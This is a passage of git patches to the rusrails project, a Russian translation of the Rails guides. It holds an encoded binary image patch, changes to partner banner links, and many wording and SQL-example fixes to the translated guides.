zcd&b+9!?ow`XqI{7En^0d}IPp(q5Gxa)hMKuenW82hTp@!)2WJCEBnM8r-m>Hb*+9TN=CBZ+9X-j)r z&fTPeQe=K?gEJ@E?bm#ljfgdme_Ezb{$;Y1;VmaA*j%wcK`;1G5nf5sP!`d3zmzoJ z>Wl|ZXZP%_=N&Gk6i&5Opgt}+z44&tAdlcJhLS^fR7~fPC!1u3mKvNe*wQ2P)+cBi zG`ha>g@!4R*zofZQr+NLs7k4!Q44HY^IV|-Vq}5Cy+zI@82bi3W8e3Q!K;T$-(h7B z@?aX#Rcc0H$lW9oVqYr1#}(YX@~!pUQ(|%Rq20)8tv&A#y&)m;zW!&KOyT)gtxV;B z*x3;<>F+Y1ex!O(W|o$Cy4P8x3j(=<5B_lSk(3oj7TUEoOET@)@=7jmNz5;$(K(SN zC4jrtJcD5bH+VJ1{jiFy8x&7$P(&ymd+R1-Q0eieZK3X;toJ%j_>hLKikuek!uBH0Z8#W3p`KR;{*KOJE zisr6Dap)`SxR>Vb&N800K_n!Rvy_0;GSkS$q=7Dwso~;8okK4;K&IEVE8G$`VOkeD zh(ogQN2<(0fpGaQ?a;Ob%{oJ!y{~CZ_NP(R0)D1lU`I+4IlfVo_>o2L;M-wr22dJv z0OUA{V4gMlKtAoPcq`yh8Ga(U>R>!Z!Pn&QtRZV_a=p+?#J2nz0UN0IDYtOP(xucL zvju0XJU^-Q+I1s-w$k@PKe0m)h@p0%S;`tkY#}`E9BK%mi=KYv~*!rJSX zC6?bE`-#RbAJpEpEif`MJ=B0j^UJfbEm+_Q@sFnP^1OOhf~Dsd#j29hlMt}_E#PRY zI3eDTV!yc}FY{I(R^hwDf)fBCjFsJBIR3oR|b=#+K0I&7)20-_78#E>LaSC)f+5pldjozGp3unt!BhE{~q)EB9FiFND zY~*<)6{M6CUwwMh?h1Gi*@w-^*Q!Z83DrXR=A<3aWX zh5K+VY#-nha5gBN{Ylo6_!}3-0BYkap1Y|?BPDbH=B!$6udL3hm?{xrsrAyOOAqIP!CA zC3iu|dFw~iHXWE+m-?)=NMbTRruY37lFpy@g%mE}>xpXZH-*yAuJ^K@1TWun_pQ-) za&}+#F!xr)8Zg&w9qrtHRC*{NwR!5Md2E+7j3+m$USlHWlrb{Vn0n<^Igb5~e?>){ z`eRBm2za}7!Oyg|f=TKR=u)LnLUB+CCBX@w>HnR_p4xkFEJ0fuqK5w5XL|3`6}a)z zMpRrl?8)(c-&mdID4yrE7vUuNyVSF57TDP4%Y_&+dlyH9MFVpX%mf+=0N+d=(T?QD z-%cmWhXFR&CSIeYqBk1l0B_#n%xZQD0BWY|p~ja7VTv$BR7!)2#mPRN^9O&y{bg45 zqz1)WZ{vI49m;o{#puX@@Sz>~mbiJP7`eN7tJt+Tyx#J?s!Zt9-Evyg#AE9&Ailt2 z!p#)nu(w~bGdyv0_Q_bKSPkuwYseAb>xA3y zcjJi9!L`FFI<9>S%Jy_VwR#%P1j7Sf!3M?KRh!xuv*QzE-0A@X7Xj+OF^}X*qqEF# zFG`JH6O=Re9q1JyIqpwQ2fUkB%?mEO|B>Ok97T?r`;UQ9s39>n+@5VPM)^MAm5!9u z8yRp!qw(sKxX|UtT|19t40Lv6ssN>p!N~s02J;q`#oU^a5Z_5ubGsOd&$Q8%)2~!$ zZnwUwYKTCBC+JYH%1}`@^5oGdn8?Tcb>fy;qgQI}g2t(ZhMK-8Pls*|dmMI+Yb{3e~U`Di`#Mbo*kZ=ZVA5a9)$WDy^lt|sqt2X zUk7jB77Cw?IoJC+hKg+4+82MlLxV}&UhmKJ=lOuJTti&N*QD~u4Ql(w%~u30H3d1s znlQ6s6oaZe8Om1@WT=wBuJ~uGU1X`I2#b=@AA_=F#uOMhZ7aI@@;=}M%V{RoX@O6F zY?Hc?4(0Sjbmowg?51nhOJXT{HPiFWqsFO|+BVe)e#8+?gg?%!Qs~NXz#GgjWt{}1%NTScjtb&whd!1bh?ULgCan>~^eD`r+{K zCAY!6(I8Ix9$K+T!c7YJTQAT2;Ivf|*RKEVp}3NfW4nV{)h+63pvaFYMD_?!Ne@(B z!j35wQ%TZD58H-5V!M7$i3p`j!n*#=k(?`R%L&8w3vK3i?Q$#zKvc>)PDX{ci<7p- zSXLBJ0{xM|w8KqfgSo=pZYp?K;BQQVPu-q6bfAbl!NjQMK5Lxe6IrM)>MMyoY4c}n6 zY$O&tt6y$e(w%DH1B%)DXgxDk!dSCQG*ePO5%nkn!eidhhxp*(0Lbvkm=*j88z|sQ z0xMSOK)uEwi!fXuC7Ja+t73{WfcUin8=t2L=E(Ec^sCwkKW>Lmh|)MMm)8D;$X>p1 zMePt3{B2*N-D{}sK-30YjZ932Tf+Op1-6>hTlqJZ)U2L_hAY$!tu}u2p7IJn#c%x|F5a@Hpe|{>R(f#dTT+1bd2~w|{}GhW0ep^} zstX1YC|mB^G>w7vIg@y`b?tNZ|5%WU?y8L+{Y6D+f=Ntu3KiU`z&8}B5C=lEGB@Iq z|2zOh*kcyh#1X%T0{SB}cI2bb$fT8QhI_` z)JqHu8{bfIAt9Kke*RU2NUmzTwsOE$eytah34De~i#M8~*AZup;zFe}t8=iH9Cs0x zyz4Gr{W?2IXWW42);|O9edli)hLj81r83X>M-ZJrS#DS_bK|Zkr#pGTkO5<2JrNMm z1n>4d&4M(Sv;FP#5DSfg&HNBY{O?pa(T7py8N$B~7<-Wa%J&S(G0GMrulg+UH8nA8 zv9$jRW3X{vJA32T-R$UQ0WMro!+AE;)YI|e+~HwPr4VX$F#OOPbbE$AuK2L>7ldOP zHQGN*#lAdS=**7d4*vqHXvVA~o8C%D9a3!?tHI!9>=zUWpwO3IPJ@7JW?HkR{$9DQ z|GmP!RPWeUaF%oBI3({lmC`)X!NxGS4V`!cEy+;;zuoE5Wt+-Ewd9oLFwFEjSCwQB z@p!su!905LJOzxjPf z%LXZVkpjF5sT6h&hP?tl1mPMIR-n4cgFcc&6^~`W)542|Bevprv0ZpTZ6#A*vGd+F zl9>uKuP5-9%F>hf#u_@OqW_u(MId2c#*&xORX$;bK-7-`zWb5}0zu^{&s-43I`LwK zT~?&$v0@=Sr&8cKIRD(TuKTd7PwZE&K7pf>a*2#4Od)@GF4Fe;Z0C8EIN4XkHOJl% zW*7&N>T*>~&jr}r^G{alD)}1RivL`O*#Ducm?W&Wk=YAHmWmSg7zKgH_%Y>A!qV(L zHpPuLG0#S}5`fkdsO%B3|AHp?i@k86E;uS$9~J2Ryq6i&H5c6cSx1XTSe?VMH#tW* zV~Viad#J;-JvG>?)z-@3q0&UAX&x+a2&+7r4?0YbnFc2)zG!CjVTj@F6U)niu#mtm zuKxy}fBu*9QQZnd78#QLMxeatGAGUun=s@Davt)ewqW*H4y`^GP3>&p{zm7@j^GgqbMmHV{*@HsLb3dD zB0AvjuVd?YXCdhNZcY*_18`d>3W1#16tlcWAbsDog)7>^ZQ1(Hlzpv{_TELuQ_%XN z!DiV>Iw)j1c_U=5CH-OcQyk#v1bJ<+wQ5J*X-?9t_mZ4x9ifakHKsOL6v^ELeJ5#8 zEclq^RQV%S&y^a?M53I}EAi+A;gXMG#bwmTeJ^a&RW6L}FZKtC{kNWnhH)qOowCC+AO`4p5Dm>RUf|F&@qE#Qox50H|jQ_0& zV)Lv76F5@4`={Y&x0ZLPKhIm*MevHNFzJA(jpm_M3KxiC}Yx>I3x2{)OuC*Ud)O)BSQ zoUovJkAf0@D047dQoWgwOCWY%FCIXOhRgt+fA*}EFAKn!(C<^N4>k>R_(W^A@!yI> zSjL>=Fk~`2uxZh9p>P4<+q`JdQm`p)1T}0x>6E>THg4%DRDfEdGHFwWiC$CW+oZhO za%5r=9rjl-#dxVMJFtpkI5OcXOSIapj^zX(`&;Z>ba%ebZO5W7`r{)-e!%CW2f60? zb1UrX@8oUdQn}~=dvD=KX7L(Bc&~MYr0p;B!#%|!r<*tl9p=&(0CA4PZ08186wsI= zi*w>1$=D?Jo*D&8m_;hJeb-Zk4%A6&n{kLiif$ru z)U6Ivq^Mlz8)pT1bd0DRcPh9wie`}T)pGRMEMLG{X%0{AeF~*A>1!(X6!XfFEdA#2 zGcJAMAJM`VU@Iulx=10V^>8NQXBkGxp_pk}Ce@o(T-)gqsD~-rH--zlk$5$iejC3H zuB_6;vETyFSa0CURkkBb_@NX)Kk7acmA{v~B*c$~EkWH7;N}1jB0>N*!o#tne7P4r zgas9RBjIdUpSf`MzNjx+_?=W{%Q=^59d_+s;8{|oB0V<2&iRTCCbKTnN@!mc+_X?8iMfF2Wf?*?&{j^8e)h zDa@KZrD=xLb|c~LF$d0m8?^Iq2UMH)l@^^%*!`SY(O^FC8fXq z?N|)I1N3b`9jt8oS@L|D()kZhkFnaU3^c%Sd*#}FAs~FNUUg-s=m)O>9 z0WwT4&xzUOF9D%U)Do27r$RHEtT+d`o)OEA3-LX&noSjmtza*pbVP}m_FzWl70Y9b zDVdik;l~LI#$|Um>rd1Q33qWEaOR3<6zNr>E#IIQF)FUSjNL(8^U^mHQGQBinSWyz zRQ)!m0uHl!=A2K9nM?F8O09Co;Fxvz%$O5ni<>&qU*U@@VItTszruqEia{(g;!NZU z!=q~j$fv*MlqX+WzjBw4MPU40wNjM`2*p5`$G%{Get9Gn77O8Bzz0?S(9j*%2 zYD2PU$yWL@C5KW~AzH(kT&#=#Q<_pnyszz}V26!vxiC=R`AZQV6fUwCYLH(IrcmPq zng!|&+HvYcX^+kbU|INBd6sVmR~q1b$ZYaB`Ivol176#IZu~5Zn&~*?;?UX#Wz=$2 zG}aZzmcpJ(N3kM=<6H)+^DcN~c*TM$;U0I>7z28$pa@ zqn|x1a82;Z;y)G4^N$t&zQjE&K!qvbv^G`-Vg2ExQOGkC_|TR}YNoj*?Wi6JWP-Cv zi^Inx)4UZS=PI9 zgQvRXzI!?wgfG#F0~XWv^AU7!5O6KHeP^r;)*P3*WHKy^5Nq?Wfu^{?MmAHh|NUP$ zE)-vq?x1dXa5e@Uwk5+ANss1r-Z}4Rzov*?nv+)R;=tp8lDXW$*_st1ES!wlf+lo# z^eHy4{Ox|ke<`!^6iQrrSEMmZ)mfqk*N&Ml%u1Y<}5|>F3ckxyOH-9fkEeMfeP*J7)pI< z0l)2yw5sCqlU3Ti&4cH&I8YVJT(RsMQ9QQiem4&mISEXNUA|IA68L`raf{iL literal 0 HcmV?d00001 diff --git a/app/helpers/application_helper.rb b/app/helpers/application_helper.rb index 6d475072..50a98c08 100644 --- a/app/helpers/application_helper.rb +++ b/app/helpers/application_helper.rb @@ -21,30 +21,17 @@ def opengraph_config def mkdev_random_banner [ { - url: 'http://lp.mkdev.me/blackfriday2017?utm_source=rusrails&utm_medium=banner&utm_campaign=blackfriday', - image: 'partners/mkdev/blackfriday.png' + url: 'http://mkdev.me/?utm_source=rusrails&utm_medium=banner&utm_campaign=expertise2', + image: 'partners/mkdev/expertise-2.png' + }, + { + url: 'http://mkdev.me/?utm_source=rusrails&utm_medium=banner&utm_campaign=rubyonrails', + image: 'partners/mkdev/ror.png' + }, + { + url: 'https://mkdev.me/mentors/zverok?utm_source=rusrails&utm_medium=banner&utm_campaign=rusrails&utm_content=shepelev', + image: 'partners/mkdev/shepelev.png' }, - - # { - # url: 'https://mkdev.me/specializations?utm_source=rusrails&utm_medium=banner&utm_campaign=rusrails&utm_content=expertise', - # image: 'partners/mkdev/expertise.png' - # }, - # { - # url: 'https://mkdev.me/mentors/aya-soft?utm_source=rusrails&utm_medium=banner&utm_campaign=rusrails&utm_content=ageev', - # image: 'partners/mkdev/ageev.png' - # }, - # { - # url: 'https://mkdev.me/mentors/xiting?utm_source=rusrails&utm_medium=banner&utm_campaign=rusrails&utm_content=takarlikov', - # image: 'partners/mkdev/takarlikov.png' - # }, - # { - # url: 'https://mkdev.me/mentors/zverok?utm_source=rusrails&utm_medium=banner&utm_campaign=rusrails&utm_content=shepelev', - # image: 'partners/mkdev/shepelev.png' - # }, - # { - # url: 'https://mkdev.me/mentors/Mehonoshin?utm_source=rusrails&utm_medium=banner&utm_campaign=rusrails&utm_content=mekhonoshin', - # image: 'partners/mkdev/mekhonoshin.png' - # }, ].sample end end From 00e23438e54c59e7047be6a1413f41cb202d60be Mon Sep 17 00:00:00 2001 From: Yauheni Dakuka Date: Tue, 28 Nov 2017 09:54:59 +0300 Subject: [PATCH 348/932] Update 11.12.17 --- source/3_0_release_notes.md | 2 +- source/3_1_release_notes.md | 2 +- source/3_2_release_notes.md | 6 +- source/4_0_release_notes.md | 2 +- source/4_1_release_notes.md | 2 +- source/4_2_release_notes.md | 4 +- source/5_0_release_notes.md | 2 +- source/5_1_release_notes.md | 4 + source/action_cable_overview.md | 4 +- source/action_controller_overview.md | 2 +- source/action_view_overview.md | 6 +- source/active_record_callbacks.md | 2 +- source/active_record_querying.md | 24 +-- source/active_support_core_extensions.md | 200 +++++++++--------- source/api_app.md | 6 +- source/api_documentation_guidelines.md | 4 +- source/asset_pipeline.md | 4 +- source/autoloading_and_reloading_constants.md | 8 +- source/caching_with_rails.md | 36 +++- source/command_line.md | 4 +- source/configuring.md | 14 +- source/contributing_to_ruby_on_rails.md | 4 +- source/diff.diffrake | 0 source/engines.md | 1 + source/form_helpers.md | 2 +- source/i18n.md | 10 +- source/index.yml | 116 +++++----- source/initialization.md | 2 +- source/layouts_and_rendering.md | 4 +- source/rails_on_rack.md | 1 + source/security.md | 6 +- source/testing.md | 76 ++++--- source/upgrading_ruby_on_rails.md | 30 +-- source/working_with_javascript_in_rails.md | 44 ++-- 34 files changed, 344 insertions(+), 290 deletions(-) create mode 100644 source/diff.diffrake diff --git a/source/3_0_release_notes.md b/source/3_0_release_notes.md index fd1a50da..08f9a9a8 100644 --- a/source/3_0_release_notes.md +++ b/source/3_0_release_notes.md @@ -478,7 +478,7 @@ Active Resource * Гарантировано, что `load` работает с числовыми массивами. * Распознается отклик 410 от удаленного (remote) ресурса, как то, что ресурс был удален (deleted). * Добавлена возможность установить настройки SSL на соединениях Active Resource. -* Настройки таймаута соединения также влияют на `Net::HTTP` `open_timeout`. +* Настройки тайм-аута соединения также влияют на `Net::HTTP` `open_timeout`. Устарело: diff --git a/source/3_1_release_notes.md b/source/3_1_release_notes.md index f39b6f11..4aba55c9 100644 --- a/source/3_1_release_notes.md +++ b/source/3_1_release_notes.md @@ -315,7 +315,7 @@ Action Pack * Добавлен HTML5 хелпер `button_tag`. -* `file_field` автоматически добавляет `:multipart => true` к нужным формам. +* `file_field` автоматически добавляет `:multipart => true` к внешним формам. * Добавлена удобная идиома генерировать HTML5 атрибуты data-* в хелперах тегов с хэшем опций `:data`: diff --git a/source/3_2_release_notes.md b/source/3_2_release_notes.md index 2100d58b..81dce9a7 100644 --- a/source/3_2_release_notes.md +++ b/source/3_2_release_notes.md @@ -25,13 +25,13 @@ TIP: Отметьте, что в Ruby 1.8.7 p248 и p249 имеются ошиб ### Что обновить в приложении -* Обновите зависимости в вашем Gemfile +* Обновите зависимости в вашем `Gemfile` * `rails = 3.2.0` * `sass-rails ~> 3.2.3` * `coffee-rails ~> 3.2.1` * `uglifier >= 1.0.3` -* В Rails 3.2 устаревает `vendor/plugins`, а в Rails 4.0 будет убрано окончательно. Можете начинать перемещать эти плагины, выделяя их в гемы и добавляя в свой Gemfile. Если вы не хотите делать из них гемы, можно их переместить, скажем в `lib/my_plugin/*`, и добавить соответствующий инициализатор в `config/initializers/my_plugin.rb`. +* В Rails 3.2 устаревает `vendor/plugins`, а в Rails 4.0 будет убрано окончательно. Можете начинать перемещать эти плагины, выделяя их в гемы и добавляя в свой `Gemfile`. Если вы не хотите делать из них гемы, можно их переместить, скажем в `lib/my_plugin/*`, и добавить соответствующий инициализатор в `config/initializers/my_plugin.rb`. * Имеется ряд новых конфигурационных изменений, которые можно добавить в `config/environments/development.rb`: @@ -151,7 +151,7 @@ Railties создаст индексы для `title` и `author`, причем последний будет уникальным индексом. Некоторые типы, такие как decimal, принимают произвольные опции. В примере `price` будет столбцом decimal с установленными точностью и масштабом 7 и 2 соответственно. -* Гем Turn был убран из дефолтного Gemfile. +* Гем Turn был убран из дефолтного `Gemfile`. * Убран старый генератор плагинов `rails generate plugin` в пользу команды `rails plugin new`. diff --git a/source/4_0_release_notes.md b/source/4_0_release_notes.md index 68623f53..507400cf 100644 --- a/source/4_0_release_notes.md +++ b/source/4_0_release_notes.md @@ -60,7 +60,7 @@ $ ruby /path/to/rails/railties/bin/rails new myapp --dev * **Хранилище сессии ActiveRecord** ([коммит](https://github.com/rails/rails/commit/0ffe19056c8e8b2f9ae9d487b896cad2ce9387ad)) - Хранилище сессии ActiveRecord извлечено в отдельный гем. Хранение сессий в SQL затратное. Используйте вместо него сессии куки, сессии memcache или произвольные хранилища сессии. * **Защита от массового назначения ActiveModel** ([коммит](https://github.com/rails/rails/commit/f8c9a4d3e88181cee644f91e1342bfe896ca64c6)) - Защита от массового назначения Rails 3 устарела. Вместо нее используйте строгие параметры (strong parameters). * **ActiveResource** ([коммит](https://github.com/rails/rails/commit/f1637bf2bb00490203503fbd943b73406e043d1d)) - ActiveResource извлечен в отдельный гем. ActiveResource не был широко используемым. -* **убраны vendor/plugins** ([коммит](https://github.com/rails/rails/commit/853de2bd9ac572735fa6cf59fcf827e485a231c3)) - Для управления установленными гемами используйте Gemfile. +* **убраны vendor/plugins** ([коммит](https://github.com/rails/rails/commit/853de2bd9ac572735fa6cf59fcf827e485a231c3)) - Для управления установленными гемами используйте `Gemfile`. ### ActionPack diff --git a/source/4_1_release_notes.md b/source/4_1_release_notes.md index 97c614bb..d951e18e 100644 --- a/source/4_1_release_notes.md +++ b/source/4_1_release_notes.md @@ -247,7 +247,7 @@ Railties ### Значимые изменения * [Spring прелоадер](https://github.com/rails/spring) теперь устанавливается по умолчанию - для новых приложений. Он использует группу development в Gemfile, поэтому не будет установлен в + для новых приложений. Он использует группу development в `Gemfile`, поэтому не будет установлен в production. ([Pull Request](https://github.com/rails/rails/pull/12958)) * Переменная окружения `BACKTRACE`, которая показывает нефильтрованные бэктрейсы для проваленных тестов. diff --git a/source/4_2_release_notes.md b/source/4_2_release_notes.md index 95414654..b6b0c352 100644 --- a/source/4_2_release_notes.md +++ b/source/4_2_release_notes.md @@ -185,7 +185,7 @@ end Из-за нового алгоритма, санированный результат может быть различным для определенных патологических входных данных. -Если у вас есть особая необходимость в точном результате от старого санитайзера , можете добавить гем [rails-deprecated_sanitizer](https://github.com/kaspth/rails-deprecated_sanitizer) в свой Gemfile, и получите старое поведение. Этот гем не будет выдавать предостережения об устаревании, поскольку он опциональный. +Если у вас есть особая необходимость в точном результате от старого санитайзера , можете добавить гем [rails-deprecated_sanitizer](https://github.com/kaspth/rails-deprecated_sanitizer) в свой `Gemfile`, и получите старое поведение. Этот гем не будет выдавать предостережения об устаревании, поскольку он опциональный. `rails-deprecated_sanitizer` будет поддерживаться только для Rails 4.2; он не будет поддерживаться для Rails 5.0. @@ -293,7 +293,7 @@ Railties ### Значимые изменения -* Представлен `web-console` в Gemfile приложения по умолчанию. +* Представлен `web-console` в `Gemfile` приложения по умолчанию. ([Pull Request](https://github.com/rails/rails/pull/11667)) * Добавлена опция `required` для связей в генераторе модели. diff --git a/source/5_0_release_notes.md b/source/5_0_release_notes.md index 45e5a1ca..77ff7837 100644 --- a/source/5_0_release_notes.md +++ b/source/5_0_release_notes.md @@ -629,7 +629,7 @@ Active Record * Добавлена возможность аннотации объектов базы данных (таблиц, столбцов, индексов) комментариями, хранимыми в метаданных базы данных для PostgreSQL & MySQL. ([Pull Request](https://github.com/rails/rails/pull/22911)) -* Добавлена поддержка подготовленных выражений (prepared statements) для адаптера `mysql2`, для mysql2 0.4.4+. Раньше это поддерживалось только устаревшим адаптером `mysql`. Чтобы включить, установите `prepared_statements: true` в config/database.yml. +* Добавлена поддержка подготовленных выражений (prepared statements) для адаптера `mysql2`, для mysql2 0.4.4+. Раньше это поддерживалось только устаревшим адаптером `mysql`. Чтобы включить, установите `prepared_statements: true` в `config/database.yml`. ([Pull Request](https://github.com/rails/rails/pull/23461)) * Добавлена возможность вызвать `ActionRecord::Relation#update` на реляционных объектах, который запустит валидации на колбэках на всех объектах в реляции. diff --git a/source/5_1_release_notes.md b/source/5_1_release_notes.md index 4aae9914..ea713e00 100644 --- a/source/5_1_release_notes.md +++ b/source/5_1_release_notes.md @@ -290,6 +290,10 @@ Action Pack * Удалены устаревшие методы, относящиеся к фильтрам контроллера. ([Commit](https://github.com/rails/rails/commit/d7be30e8babf5e37a891522869e7b0191b79b757)) +* Удалена устаревшая поддержка `:text` и `:nothing` в `render`. + ([Commit](https://github.com/rails/rails/commit/79a5ea9eadb4d43b62afacedc0706cbe88c54496), + [Commit](https://github.com/rails/rails/commit/57e1c99a280bdc1b324936a690350320a1cd8111)) + ### Устарело * Устарел `config.action_controller.raise_on_unfiltered_parameters`. Он ничего не делает в Rails 5.1. diff --git a/source/action_cable_overview.md b/source/action_cable_overview.md index a1a55bcc..ed5439e9 100644 --- a/source/action_cable_overview.md +++ b/source/action_cable_overview.md @@ -426,9 +426,9 @@ WebNotificationsChannel.broadcast_to( Вызов `WebNotificationsChannel.broadcast_to` помещает сообщение в очередь pubsub текущего адаптера подписки под отдельным именем трансляции для каждого пользователя. Для пользователя с ID 1, имя трансляции будет `web_notifications:1`. -Канал проинструктирован писать в поток все, что приходит в `web_notifications:1`, непосредственно на клиент, вызывая колбэк `received`. Данные. передаваемые как аргумент, – это хэш, посылаемый в качестве второго параметра в вызов трансляции на сервере, кодируемый для передачи в JSON, и распакованный в аргументе data, приходящем в `received`. +Канал проинструктирован писать в поток все, что приходит в `web_notifications:1`, непосредственно на клиент, вызывая колбэк `received`. Данные, передаваемые как аргумент, – это хэш, посылаемый в качестве второго параметра в вызов трансляции на сервере, кодируемый для передачи в JSON и распакованный в аргументе data, приходящем как `received`. -### Больше полных примеров complete examples +### Больше полных примеров Смотрите репозиторий [rails/actioncable-examples](https://github.com/rails/actioncable-examples), чтобы получить полный пример, как настроить Action Cable в приложении Rails и добавить каналы. diff --git a/source/action_controller_overview.md b/source/action_controller_overview.md index c4281fe2..438ce7b7 100644 --- a/source/action_controller_overview.md +++ b/source/action_controller_overview.md @@ -17,7 +17,7 @@ Что делает контроллер? ---------------------- -Action Controller это C в аббревиатуре MVC. После того, как роутер определит, какой контроллер использовать для обработки запроса, контроллер ответственен за осмысление запроса и генерацию подходящего ответа. К счастью, Action Controller делает за вас большую часть грязной работы и использует элегантные соглашения, чтобы сделать это по возможности максимально просто. +Action Controller это C в аббревиатуре [MVC](https://ru.wikipedia.org/wiki/Model-View-Controller). После того, как роутер определит, какой контроллер использовать для обработки запроса, контроллер ответственен за осмысление запроса и генерацию подходящего ответа. К счастью, Action Controller делает за вас большую часть грязной работы и использует элегантные соглашения, чтобы сделать это по возможности максимально просто. Для большинства приложений, основанных на [RESTful](https://ru.wikipedia.org/wiki/REST), контроллер получает запрос (это невидимо для вас, как для разработчика), извлекает или сохраняет данные в модели и использует вьюху для создания результирующего HTML. Если контроллеру необходимо работать немного по другому, не проблема, это всего лишь наиболее распространенный способ работы контроллера. diff --git a/source/action_view_overview.md b/source/action_view_overview.md index 831a2252..3230b955 100644 --- a/source/action_view_overview.md +++ b/source/action_view_overview.md @@ -142,9 +142,9 @@ end ``` #### Jbuilder -[Jbuilder](https://github.com/rails/jbuilder) — это гем, поддерживаемый командой Rails и включенный в Rails Gemfile по умолчанию. Он похож на Builder, но используется для генерации JSON вместо XML. +[Jbuilder](https://github.com/rails/jbuilder) — это гем, поддерживаемый командой Rails и включенный в Rails `Gemfile` по умолчанию. Он похож на Builder, но используется для генерации JSON вместо XML. -Если у вас его нет, можно добавить следующее в Gemfile: +Если у вас его нет, можно добавить следующее в `Gemfile`: ```ruby gem 'jbuilder' @@ -1145,7 +1145,7 @@ select("article", "person_id", Person.all.collect { |p| [ p.name, p.id ] }, { in Возвращает теги select и option для заданного объекта и метода, используя `time_zone_options_for_select` для создания списка тегов option. ```ruby -time_zone_select( "user", "time_zone") +time_zone_select("user", "time_zone") ``` #### date_field diff --git a/source/active_record_callbacks.md b/source/active_record_callbacks.md index 57b07624..7632b567 100644 --- a/source/active_record_callbacks.md +++ b/source/active_record_callbacks.md @@ -206,6 +206,7 @@ An Employee was touched * `save!` * `save(validate: false)` * `toggle!` +* `touch` * `update_attribute` * `update` * `update!` @@ -238,7 +239,6 @@ NOTE: Методы `find_by_*` и `find_by_*!` это динамические * `increment` * `increment_counter` * `toggle` -* `touch` * `update_column` * `update_columns` * `update_all` diff --git a/source/active_record_querying.md b/source/active_record_querying.md index f3b28f1b..b0f93894 100644 --- a/source/active_record_querying.md +++ b/source/active_record_querying.md @@ -400,7 +400,7 @@ end `find_in_batches` работает на классах модели, как показано выше, а также на relation: ```ruby -Invoice.pending.find_in_batches do |invoice| +Invoice.pending.find_in_batches do |invoices| pending_invoices_export.add_invoices(invoices) end ``` @@ -785,7 +785,7 @@ SQL, который будет выполнен: SELECT * FROM articles WHERE id > 10 ORDER BY id DESC # Оригинальный запрос без `only` -SELECT "articles".* FROM "articles" WHERE (id > 10) ORDER BY id desc LIMIT 20 +SELECT * FROM articles WHERE id > 10 ORDER BY id DESC LIMIT 20 ``` @@ -806,14 +806,14 @@ Article.find(10).comments.reorder('name') SQL, который будет выполнен: ```sql -SELECT * FROM articles WHERE id = 10 +SELECT * FROM articles WHERE id = 10 LIMIT 1 SELECT * FROM comments WHERE article_id = 10 ORDER BY name ``` В случае, когда условие `reorder` не было использовано, запущенный SQL будет: ```sql -SELECT * FROM articles WHERE id = 10 +SELECT * FROM articles WHERE id = 10 LIMIT 1 SELECT * FROM comments WHERE article_id = 10 ORDER BY posted_at DESC ``` @@ -1074,7 +1074,7 @@ Article.joins(:category, :comments) ```sql SELECT articles.* FROM articles - INNER JOIN categories ON articles.category_id = categories.id + INNER JOIN categories ON categories.id = articles.category_id INNER JOIN comments ON comments.article_id = articles.id ``` @@ -1661,10 +1661,10 @@ Client.find_by_sql("SELECT * FROM clients ### `select_all` -У `find_by_sql` есть близкий родственник, называемый `connection#select_all`. `select_all` получит объекты из базы данных, используя произвольный SQL, как и в `find_by_sql`, но не создаст их экземпляры. Вместо этого, вы получите массив хэшей, где каждый хэш указывает на запись. +У `find_by_sql` есть близкий родственник, называемый `connection#select_all`. `select_all` получит объекты из базы данных, используя произвольный SQL, как и в `find_by_sql`, но не создаст их экземпляры. Этот метод вернет экземпляр класса `ActiveRecord::Result` и вызвав `to_hash` на этом объекте вернет массив хэшей, где каждый хэш указывает на запись. ```ruby -Client.connection.select_all("SELECT first_name, created_at FROM clients WHERE id = '1'") +Client.connection.select_all("SELECT first_name, created_at FROM clients WHERE id = '1'").to_hash # => [ # {"first_name"=>"Rafael", "created_at"=>"2012-11-10 23:23:45.281189"}, # {"first_name"=>"Eileen", "created_at"=>"2013-12-09 11:22:35.221282"} @@ -1811,14 +1811,14 @@ Article.first.categories.many? ```ruby Client.count -# SELECT count(*) AS count_all FROM clients +# SELECT COUNT(*) FROM clients ``` Или на relation: ```ruby Client.where(first_name: 'Ryan').count -# SELECT count(*) AS count_all FROM clients WHERE (first_name = 'Ryan') +# SELECT COUNT(*) FROM clients WHERE (first_name = 'Ryan') ``` Можно также использовать различные методы поиска на relation для выполнения сложных вычислений: @@ -1830,9 +1830,9 @@ Client.includes("orders").where(first_name: 'Ryan', orders: { status: 'received' Что выполнит: ```sql -SELECT count(DISTINCT clients.id) AS count_all FROM clients - LEFT OUTER JOIN orders ON orders.client_id = clients.id WHERE - (clients.first_name = 'Ryan' AND orders.status = 'received') +SELECT COUNT(DISTINCT clients.id) FROM clients + LEFT OUTER JOIN orders ON orders.client_id = clients.id + WHERE (clients.first_name = 'Ryan' AND orders.status = 'received') ``` ### Количество diff --git a/source/active_support_core_extensions.md b/source/active_support_core_extensions.md index 8cb65955..7df27172 100644 --- a/source/active_support_core_extensions.md +++ b/source/active_support_core_extensions.md @@ -2934,6 +2934,32 @@ NOTE: Определено в `active_support/core_ext/range/overlaps.rb`. NOTE: Все следующие методы определены в `active_support/core_ext/date/calculations.rb`. +```ruby +yesterday +tomorrow +beginning_of_week (at_beginning_of_week) +end_of_week (at_end_of_week) +monday +sunday +weeks_ago +prev_week (last_week) +next_week +months_ago +months_since +beginning_of_month (at_beginning_of_month) +end_of_month (at_end_of_month) +last_month +beginning_of_quarter (at_beginning_of_quarter) +end_of_quarter (at_end_of_quarter) +beginning_of_year (at_beginning_of_year) +end_of_year (at_end_of_year) +years_ago +years_since +last_year +on_weekday? +on_weekend? +``` + INFO: Следующие методы вычисления имеют [временную пропасть](https://ru.wikipedia.org/wiki/Григорианский_календарь) в октябре 1582 года, когда дней с 5 по 14 (включительно) просто не существовало. Это руководство не документирует свое поведение в те дни для краткости, но достаточно сказать, будет происходит то, что от них ожидается. То есть, `Date.new(1582, 10, 4).tomorrow` возвратит `Date.new(1582, 10, 15)`, и так далее. Пожалуйста, проверьте `test/core_ext/date_ext_test.rb` в тестовом наборе Active Support, чтобы понять ожидаемое поведение. #### `Date.current` @@ -2942,68 +2968,6 @@ Active Support определяет `Date.current` как сегодняшний #### Именованные даты -##### `prev_year`, `next_year` - -В Ruby 1.9 `prev_year` и `next_year` возвращают дату с тем же днем/месяцем в предыдущем или следующем году: - -```ruby -d = Date.new(2010, 5, 8) # => Sat, 08 May 2010 -d.prev_year # => Fri, 08 May 2009 -d.next_year # => Sun, 08 May 2011 -``` - -Если датой является 29 февраля високосного года, возвратится 28-е: - -```ruby -d = Date.new(2000, 2, 29) # => Tue, 29 Feb 2000 -d.prev_year # => Sun, 28 Feb 1999 -d.next_year # => Wed, 28 Feb 2001 -``` - -У `prev_year` есть псевдоним `last_year`. - -##### 